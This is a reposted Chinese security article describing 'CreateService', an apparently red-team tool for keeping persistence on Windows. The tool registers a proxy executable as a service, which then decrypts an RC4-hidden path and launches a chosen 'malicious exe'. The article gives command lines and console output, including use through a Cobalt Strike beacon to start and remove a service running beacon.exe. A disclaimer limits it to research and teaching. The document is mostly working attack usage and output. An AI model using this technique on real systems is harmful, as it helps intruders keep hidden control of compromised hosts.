CreateService
Github
https://github.com/uknowsec/CreateService
文件说明
•CreateService : 创建服务与删除服务主程序•CreateServiceDll ：创建服务与删除服务rdi•TransitEXE ：媒介程序
C:UsersAdministratorDesktop>CreateService.exe "C:UsersAdministratorDesktopTransitEXE.exe""C:UsersAdministratorDesktoptest.exe" test start[*]CreateServicebyUknow[+]ServiceName: test[+]TransitPathName: C:UsersAdministratorDesktopTransitEXE.exe[+]EvilPathName: C:UsersAdministratorDesktoptest.exe[+]Success!Service successfully CreateandStart.
程序将TransitEXE.exe创建为服务，并将路径C:UsersAdministratorDesktoptest.exe进行rc4加密（密钥为当前计算机的环境变量PROCESSOR_REVISION）写入C:UsersAdministratorDesktopTransitEXE.exe的资源文件中。
服务创建成功后，TransitEXE.exe从自身的资源中解密获取到恶意exe的路径并运行。
这样就只需要提供恶意exe即可，免除临时编译服务模块代码。
Cobalt Strike RDI
beacon>CreateService C:UsersAdministratorDesktopTransitEXE.exe C:UsersAdministratorDesktopbeacon.exe test start[*]Tasked beacon to spawn CreateService....[+] arguments are:C:UsersAdministratorDesktopTransitEXE.exe C:UsersAdministratorDesktopbeacon.exe test start[+] host called home, sent:103053 bytes[+] received output:[*]CreateServicebyUknow[+]ServiceName: test[+]TransitPathName: C:UsersAdministratorDesktopTransitEXE.exe[+]EvilPathName: C:UsersAdministratorDesktopbeacon.exe[+]Success!Service successfully CreateandStart.beacon>CreateService C:UsersAdministratorDesktopTransitEXE.exe C:UsersAdministratorDesktopbeacon.exe test stop[*]Tasked beacon to spawn CreateService....[+] arguments are:C:UsersAdministratorDesktopTransitEXE.exe C:UsersAdministratorDesktopbeacon.exe test stop[+] host called home, sent:103052 bytes[+] received output:[*]CreateServicebyUknow[+]ServiceName: test[+]TransitPathName: C:UsersAdministratorDesktopTransitEXE.exe[+]EvilPathName: C:UsersAdministratorDesktopbeacon.exe[+]Success!Service successfully StopandDelete.
原文始发于微信公众号（RowTeam）：权限维持工具化-创建服务
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论